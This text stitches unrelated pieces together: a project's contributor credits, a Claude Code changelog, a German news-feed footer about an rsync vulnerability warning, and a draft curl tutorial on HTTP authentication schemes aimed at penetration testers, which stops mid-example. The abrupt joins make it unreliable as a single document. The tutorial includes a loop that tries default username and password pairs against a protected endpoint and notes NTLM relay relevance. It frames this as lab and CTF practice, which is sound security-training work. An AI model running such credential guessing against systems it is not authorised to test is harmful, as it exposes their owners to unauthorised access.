• @alt-glitch — Windows dep_ensure bootstrap, Nix package variants (.#messaging, .#full), install-method stamping, ACP browser bootstrap consolidation
• @austinpickett — /update slash command, dashboard checkboxes → @nous-research/ui, mobile dashboard polish, collapsible sidebar
• @ethernet8023 — Nix .#desktop packaging, CI test slicing across GH Actions jobs, TUI clipboard copy fix
• @kshitijk4poor — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)
• @rewbs — Nous JWT inference switch + refresh-token replay fix
• @Codename-11 + @Schwartz10 — session control API (REST + SSE + multimodal followup)
• @Niraven — kanban swarm topology helper
• @Interstellar-code — kanban worker visibility endpoints
• @adybag14-cyber — termux cold-start optimizations (multiple PRs)
• @qike-ms — Telegram in-place status edits design
• @sprmn24 — ntfy adapter
• @Jaaneek — xAI Web Search provider plugin
• @yannsunn — xAI upstream adapter for hermes proxy
• @Cybourgeoisie — OpenRouter sticky routing via session_id
• @memosr — Nous Portal base_url allowlist validation
• @Sunil123135 — Windows Docker Desktop compose file
• @Dusk1e — Docker HOME alignment for dashboard + s6 gateway services
• @beardthelion — opencode-go anthropic_messages routing
• @YLChen-007 — Skills Guard multi-word prompt patterns
• @roadhero — env_passthrough GHSA-rhgp-j443-p4rf filter
• @Zyrixtrex — Google Chat OAuth credential persistence hardening
• @briandevans, @tomqiaozc — defense-in-depth read-deny on credential stores
• @PratikRai0101 — control-plane file write protection
• @helix4u, @Bartok9, @zccyman — auxiliary fallback ladder components
• @ms-alan, @ticketclosed-wontfix, @donovan-yohan — TUI session orchestrator + follow-ups
• @daimon-nous[bot] — cron per-job profile support
• @bisko — re-pad reasoning_content on cross-provider fallback

All Contributors

@02356abc, @0xchainer, @0xDevNinja, @0xjackyang, @0xsir0000, @0z1-ghb, @8bit64k, @aaronlab, @AceWattGit,
@ACR27, @adam91holt, @AdamPlatin123, @Ade5954, @AdityaRajeshGadgil, @adybag14-cyber, @AhmetArif0, @ai-hana-ai,
@alaamohanad169-ship-it, @alber70g, @albert748, @alt-glitch, @aqilaziz, @argabor, @asdlem, @austinpickett,
@avifenesh, @awizemann, @B0Tch1, @Bartok9, @BaxBit, @Beandon13, @beardthelion, @benbarclay, @bensargotest-sys,
@binhnt92, @bird, @bisko, @BlackishGreen33, @booker1207, @bradhallett, @briandevans, @Brixyy, @brndnsvr,
@BROCCOLO1D, @btorresgil, @burjorjee, @carltonawong, @Carry00, @chaconne67, @chdlc, @chromalinx, @ChyuWei,
@CipherFrame, @cmullins70, @CNSeniorious000, @codeblackhole1024, @Codename-11, @colin-chang, @counterposition,
@cresslank, @CryptoByz, @cyb0rgk1tty, @Cybourgeoisie, @daizhonggeng, @darvsum, @davidcampbelldc, @deas,
@dgians, @dillweed, @DoGMaTiiC, @donovan-yohan, @draplater, @Drexuxux, @dskwe, @dsr-restyn, @Dusk1e,
@dusterbloom, @duyua9, @egilewski, @el-analista, @eliteworkstation94-ai, @eloklam, @EloquentBrush0x, @emonty,
@emozilla, @erhnysr, @erikengervall, @erosika, @ether-btc, @ethernet8023, @EvilHumphrey, @fabiosiqueira,
@falasi, @falconexe, @fardoche6, @felix-windsor, @Fewmanism, @ffr31mr, @flamiinngo, @flanny7, @flooryyyy,
@fonhal, @francip, @fujinice, @gianfrancopiana, @glennc, @Glucksberg, @godlin-gh, @Grogger, @guillaumemeyer,
@Gutslabs, @H-Ali13381, @hanzckernel, @haran2001, @hawknewton, @hayka-pacha, @hehehe0803, @helix4u, @HenkDz,
@Hermes, @hermesagent26, @Hinotoi-agent, @hongchen1993, @honor2030, @houenyang-momo, @ht1072, @hueilau,
@iamfoz, @ilonagaja509-glitch, @InB4DevOps, @indigokarasu, @Interstellar-code, @iqdoctor, @iRonin, @Jaaneek,
@JabberELF, @jacevys, @jackey8616, @jackjin1997, @jdelmerico, @jfuenmayor, @Jiahui-Gu, @JimLiu, @joe102084,
@JohnC1009, @jonpol01, @Jpalmer95, @Julientalbot, @justemu, @justincc, @jvinals, @karthikeyann, @kasunvinod,
@kchuang1015, @kenyonxu, @khungate, @kiranvk-2011, @kjames2001, @konsisumer, @kpadilha, @kriscolab,
@krislidimo, @kronexoi, @kshitijk4poor, @kunci115, @Kylejeong2, @kylekahraman, @LaPhilosophie, @leeseoki0,
@lemassykoi, @Lempkey, @LeonJS, @LeonSGP43, @lidge-jun, @LifeJiggy, @liuhao1024, @LizerAIDev, @loicnico96,
@loongfay, @m0n3r0, @malaiwah, @matthewlai, @mavrickdeveloper, @maxmilian, @McClean-Edison, @memosr,
@Mind-Dragon, @momowind, @MoonJuhan, @MoonRay305, @moortekweb-art, @MorAlekss, @ms-alan, @Nami4D,
@nehaaprasaad, @nekwo, @nftpoetrist, @NickLarcombe, @nidhi-singh02, @Niraven, @nnnet, @noctilust, @novax635,
@nthrow, @nv-kasikritc, @nycomar, @OCWC22, @oemtalks, @OmX, @ooovenenoso, @orcool, @oseftg, @outsourc-e,
@OutThisLife, @Paperclip, @PaTTeeL, @pepelax, @phoenixshen, @Pluviobyte, @pnascimento9596, @pochi-gio, @pr7426,
@PratikRai0101, @Prithvi1994, @psionic73, @ptichalouf, @Que0x, @QuenVix, @quocanh261997, @qWaitCrypto, @Qwinty,
@r266-tech, @rak135, @rdasilva1016-ui, @rewbs, @roadhero, @rodrigoeqnit, @RonHillDev, @roycepersonalassistant,
@rudi193-cmd, @RyanRana, @sadiksaifi, @samahn0601, @samggggflynn, @SamuelZ12, @sanghyuk-seo-nexcube,
@Saurav0989, @savanne-kham, @Schrotti77, @Schwartz10, @SerenityTn, @sgtworkman, @sharziki, @shaun0927,
@shellybotmoyer, @shunsuke-hikiyama, @SimbaKingjoe, @SimoKiihamaki, @sir-ad, @Slimydog21, @slowtokki0409,
@Soju06, @someaka, @soynchux, @sprmn24, @Stark-X, @steezkelly, @stepanov1975, @stephenschoettler,
@stevehq26-bot, @steveonjava, @Strontvod, @subtract0, @Sunil123135, @superearn-fisher, @Sylw3ster, @tchanee,
@that-ambuj, @thedavidmurray, @TheOnlyMika, @therahul-yo, @thewillhuang, @ticketclosed-wontfix, @Timur00Kh,
@tomqiaozc, @Tosko4, @Tranquil-Flow, @tw2818, @uzunkuyruk, @vaddisrinivas, @vanthinh6886, @vgocoder,
@victorGPT, @vynxevainglory-ai, @waefrebeorn, @walli, @wangpuv, @wanwan2qq, @wesleysimplicio, @worlldz,
@wpengpeng168, @WuKongAI-CMU, @wuli666, @Wysie, @wysie, @xxxigm, @yannsunn, @YanzhongSu, @YarrowQiao, @ygd58,
@YLChen-007, @yoniebans, @yu-xin-c, @YuanHanzhong, @zapabob, @zccyman, @ziliangpeng, @zwolniony, @Zyrixtrex

Full Changelog: v2026.5.16...v2026.5.28

• Added skipLfs option to github/git plugin marketplace sources to skip Git LFS downloads during clone and update
• Claude Code now shows a one-time notice when your npm global install can't auto-update; /doctor lists the fixes
• Status line commands now receive COLUMNS and LINES environment variables so scripts can size output to the terminal width
• claude agents: autocomplete in the dispatch input now suggests native slash commands and bundled skills, not just project skills
• claude agents: PR column now shows PR #N for a single PR or N PRs for multiple
• claude doctor now shows the result of your last update attempt
• Combined the separate "needs authentication" startup notifications for MCP servers and connectors into a single message
• macOS: background agents now appear as "Claude Code" in Privacy & Security and keep their permission grants across upgrades
• Fixed stateful MCP servers without the optional GET SSE stream reconnect-looping on tools/list (regression in v2.1.147)
• Fixed a regression where a custom API gateway could receive the user's Anthropic OAuth credential instead of the gateway's own token
• Fixed subagent (Agent tool) frontmatter MCP servers ignoring --strict-mcp-config, --bare, remote mode, enterprise managed MCP config, and managed-settings MCP server allow/deny policies
• --strict-mcp-config no longer strips inline mcpServers from explicitly-passed agent definitions (--agents / SDK agents), and blocked subagent MCP servers now surface a visible warning
• Fixed the Windows PowerShell installer reporting "Installation complete!" when installation actually failed
• Fixed claude update installing the latest version instead of the configured release channel's version for npm installations
• Fixed excessive memory usage (multiple GB) when resuming a session by transcript file path on machines with many stored sessions
• Fixed claude agents and claude --bg running on a stale daemon started before binary-takeover support, even after upgrading
• Fixed a hang where the CLI could fail to exit when stdin was closed without EOF in stream-json mode, leaving a stale session marker behind
• Fixed malformed file:// links in Claude's responses not being clickable in the terminal
• Fixed claude --help rendering unwrapped output on terminals narrower than 92 columns
• Fixed MCP tool progress notifications not rendering in the collapsed tool view
• Fixed Agent tool with subagent_type: 'claude' running in an undocumented temporary worktree, which could silently discard outputs written to gitignored paths
• /bg while Claude is responding now continues the response in the background session instead of dropping it
• Fixed /btw keyboard shortcuts becoming unresponsive in background sessions while a task is running
• Fixed background sessions writing temp files to $CLAUDE_JOB_DIR triggering a "sensitive file" permission prompt
• Fixed recovering a background agent whose working directory was deleted showing a truncated stack trace instead of a clear error message
• Fixed EnterWorktree not being available immediately in background sessions (previously required ToolSearch first)
• Fixed cmd+k in iTerm2/Terminal.app not repainting attached background sessions
• Fixed the IME candidate window appearing at the bottom of the screen instead of next to the input caret in attached background sessions on Windows
• Fixed background-color bleed when attaching to a background agent from 256-color-only terminals after the agent had rendered file diffs
• Fixed /copy and copy-on-select silently failing to update the system clipboard when attached to a background session inside tmux
• Fixed opening claude agents with Remote Control enabled leaving zombie session entries on the Code tab after exiting
• Fixed /rename in background sessions not updating the session banner immediately
• Fixed Windows update rollback: if a Windows update fails, Claude Code now restores the original executable by copy and tells you how to recover
• [VSCode] Fixed Claude Code processes not shutting down cleanly when VS Code closed on Windows, causing false "unclean exit" reports and orphaned MCP servers
• /model now saves your selection as the default for new sessions (matching the IDE). Press s in the picker to switch models for the current session only.
• If you customized the modelPicker:setAsDefault keybinding, rename it to modelPicker:thisSessionOnly in keybindings.json (the d action was replaced by s)

Dieser Beitrag BSI warnt vor Rsync-Sicherheitslücke: CVSS 8,8 und mehrere CVEs erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Series: curl — The Request Engine You Never Learned Properly Article: 6A of 16 Status: Draft

Authentication is the first wall on almost every target. How you approach it with curl depends entirely on which scheme the server is using — and identifying that scheme before picking a flag is a skill most tutorials skip entirely.

This article covers the main authentication mechanisms curl handles: Basic, Digest, NTLM, Bearer tokens, and API keys. It explains how each scheme works at the protocol level, the curl flag that invokes it, and how to read the server’s challenge to know which one you are dealing with.

Article 6B covers what happens after you authenticate: session persistence, cookie jars, CSRF token handling, and maintaining stateful access across multi-step workflows.

Identifying Which Auth Scheme You Are Dealing With

Before choosing a curl flag, read what the server is asking for.

An unauthenticated request to a protected resource returns a 401 Unauthorized response. The WWW-Authenticate header in that response tells you exactly which scheme to use.

curl -sI https://httpbin.org/basic-auth/admin/password

HTTP/2 401
date: Sat, 25 Apr 2026 12:06:18 GMT
content-length: 0
server: gunicorn/19.9.0
www-authenticate: Basic realm="Fake Realm"
access-control-allow-origin: *
access-control-allow-credentials: true

The www-authenticate: Basic realm="Fake Realm" header is what you are reading. One line tells you everything: the scheme is Basic, and the realm is the name the server gives to this protected area. That is your cue to reach for -u.

Reading the header:

WWW-Authenticate value          Scheme          curl flag
------------------------------  --------------  ----------------------------------
Basic realm="..."               HTTP Basic      -u user:pass
Digest realm="...", nonce="..."  HTTP Digest     --digest -u user:pass
NTLM                            Windows NTLM    --ntlm -u user:pass
Bearer realm="..."              Bearer token    -H "Authorization: Bearer <token>"

This is the identification workflow: request unauthenticated, read the challenge, match it to the right flag. Skipping this step and guessing the scheme wastes time and often produces confusing errors. Note that some endpoints present multiple schemes in the WWW-Authenticate header — choose one that the server actually lists as supported.

Basic Auth

The oldest and simplest HTTP authentication scheme. The client sends credentials in a Base64-encoded Authorization header on each request.

curl -u admin:password http://localhost:8080/protected

==================================================
  curl Lab Echo Server
==================================================

METHOD       : GET
PATH         : /protected
FULL URL     : /protected

--- REQUEST HEADERS ---
  Host: localhost:8080
  Authorization: Basic YWRtaW46cGFzc3dvcmQ=
  User-Agent: curl/7.68.0
  Accept: */*

--- QUERY STRING PARAMS ---
  (none)

--- RAW BODY ---
  (empty)

--- PARSED BODY PARAMS ---
  (none)

==================================================

The Authorization: Basic YWRtaW46cGFzc3dvcmQ= header is visible in the REQUEST HEADERS — curl added it automatically from the -u flag. That encoded string is the credentials.

What curl actually sends:

Authorization: Basic YWRtaW46cGFzc3dvcmQ=

YWRtaW46cGFzc3dvcmQ= is the base64 encoding of admin:password. To decode it in the terminal:

echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
# Output: admin:password

This means Basic Auth credentials are trivially readable by anyone who can intercept the traffic. They are not encrypted — they are only encoded. Basic Auth over plain HTTP is a vulnerability finding. Over HTTPS, the credentials are protected in transit by TLS, but they can still be exposed to systems that terminate TLS or log request headers — such as reverse proxies, load balancers, and application logging middleware.

Why Basic Auth is still everywhere:

Despite its age, Basic Auth appears constantly in internal admin panels and network devices, simple API authentication, development and staging environments, and legacy applications that predate modern auth frameworks.

When you encounter it in a test, note it. Basic Auth without HTTPS is a finding. Basic Auth with weak or default credentials is a finding.

Testing default credentials:

for cred in "admin:admin" "admin:password" "admin:1234" "root:root" "admin:"; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  code=$(curl -s -o /dev/null -w "%{http_code}" -u "$user:$pass" http://localhost:8080/protected)
  echo "$cred -> $code"
done

admin:admin -> 200
admin:password -> 200
admin:1234 -> 200
root:root -> 200
admin: -> 200

The lab echo server returns 200 for every request, regardless of credentials — it does not implement authentication logic. On a real target, only the correct credential pair would return 200, and the rest would return 401. The pattern is identical; the outcome depends on the target. Against httpbin with the correct credentials:

curl -s -o /dev/null -w "%{http_code}\n" -u admin:password https://httpbin.org/basic-auth/admin/password
# 200

curl -s -o /dev/null -w "%{http_code}\n" -u admin:wrongpass https://httpbin.org/basic-auth/admin/password
# 401

On a real target, a 200 where the correct credentials return success and wrong ones return 401 means the valid credential pair is a finding worth reporting.

Digest Auth

Digest authentication is a challenge-response scheme designed to address Basic Auth’s credential exposure problem. Instead of sending the password, the client computes a response using the password, a server-provided nonce, the request URI, and other values — then sends that computed response rather than the credential itself. curl handles the entire challenge-response calculation automatically when you pass --digest -u user:pass.

The flow is as follows:

1. Client requests a protected resource without credentials
2. Server returns 401 with a WWW-Authenticate: Digest header containing a nonce — a one-time server-generated value
3. Client computes a response using the password, nonce, request URI, and other values
4. Client sends the computed response in the Authorization header
5. Server performs the same calculation independently and compares

curl -v --digest -u admin:password http://target.com/protected

The -v output shows both requests: the initial unauthenticated request returning a 401 Digest challenge, and then the authenticated request with the computed MD5 hash in the Authorization header. The hash includes the server's nonce value, which is why captured Digest hashes cannot simply be replayed — the nonce changes with each challenge.

On a real Digest target, the verbose output looks like this:

> GET /protected HTTP/1.1
< HTTP/1.1 401 Unauthorized
< WWW-Authenticate: Digest realm="protected", nonce="abc123..."

> GET /protected HTTP/1.1
> Authorization: Digest username="admin", realm="protected",
>   nonce="abc123...", uri="/protected", response="d41d8cd98f..."
< HTTP/1.1 200 OK

The two-request pattern is the distinguishing mark of any challenge-response scheme — you will see it clearly in -v output whenever Digest is in play.

Digest’s weaknesses at a surface level:

Digest prevents straightforward credential replay — the computed response includes the nonce, so captured responses cannot simply be replayed since the nonce changes with each challenge. That said, Digest still relies on MD5, which is considered weak by modern standards, and some implementation details can introduce subtler weaknesses. Digest is more secure than Basic but has been largely superseded by token-based authentication in modern applications.

Where you encounter Digest in the wild: older network devices such as routers and cameras, legacy internal applications, and HTTP APIs designed before token-based auth became standard.

NTLM Auth

NTLM (NT LAN Manager) is Microsoft’s challenge-response authentication protocol. It was designed for Windows network authentication and appears in web contexts when applications are integrated with Windows or Active Directory infrastructure.

curl -v --ntlm -u "DOMAIN\\username:password" http://target.com/protected

The -v output for NTLM shows a multi-step handshake with negotiate, challenge, and authenticate messages:

> GET /protected HTTP/1.1
< HTTP/1.1 401 Unauthorized
< WWW-Authenticate: NTLM

> GET /protected HTTP/1.1
> Authorization: NTLM TlRMTVNTUAABAAAA...   (NEGOTIATE message)
< HTTP/1.1 401 Unauthorized
< WWW-Authenticate: NTLM TlRMTVNTUAACAAAA... (CHALLENGE message)

> GET /protected HTTP/1.1
> Authorization: NTLM TlRMTVNTUAADAAAA...   (AUTHENTICATE message)
< HTTP/1.1 200 OK

Multiple round-trip, multiple Authorization headers, each containing a different NTLM message type. This exchange is unmistakable in verbose output and is direct evidence that Windows authentication is in play.

Note the double backslash in the shell — it escapes the single backslash that separates the domain from the username. On a target that does not require a domain prefix:

curl --ntlm -u "username:password" http://target.com/protected

Where NTLM appears as a web attack surface:

NTLM in HTTP shows up in SharePoint installations, Microsoft Exchange OWA, IIS-hosted applications with Windows Authentication enabled, internal intranet applications in corporate environments, and older ASP.NET applications.

On THM and HTB machines, NTLM authentication can indicate Windows-integrated services — the kind of target where credential relay attacks become relevant in later phases, though NTLM alone does not confirm Active Directory is in use.

Bearer Tokens

Bearer tokens are the dominant authentication mechanism in modern REST APIs. The client sends a token in the Authorization header, and the server validates it to identify and authorize the request.

curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.test" \
  http://localhost:8080/api/data

==================================================
  curl Lab Echo Server
==================================================

METHOD       : GET
PATH         : /api/data
FULL URL     : /api/data

--- REQUEST HEADERS ---
  Host: localhost:8080
  User-Agent: curl/7.68.0
  Accept: */*
  Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.test

--- QUERY STRING PARAMS ---
  (none)

--- RAW BODY ---
  (empty)

--- PARSED BODY PARAMS ---
  (none)

==================================================

The full token is visible in the Authorization header exactly as sent. If the token is a JWT, its three-dot structure — header, payload, signature — is clear even in the raw header value. Not every bearer token is a JWT; some are opaque strings or other formats. The format depends entirely on the application.

The token is typically obtained by making a login request first:

# Step 1: Get the token
TOKEN=$(curl -s \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"password"}' \
  http://target.com/api/login | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "Token: $TOKEN"

# Step 2: Use the token
curl -s \
  -H "Authorization: Bearer $TOKEN" \
  http://target.com/api/users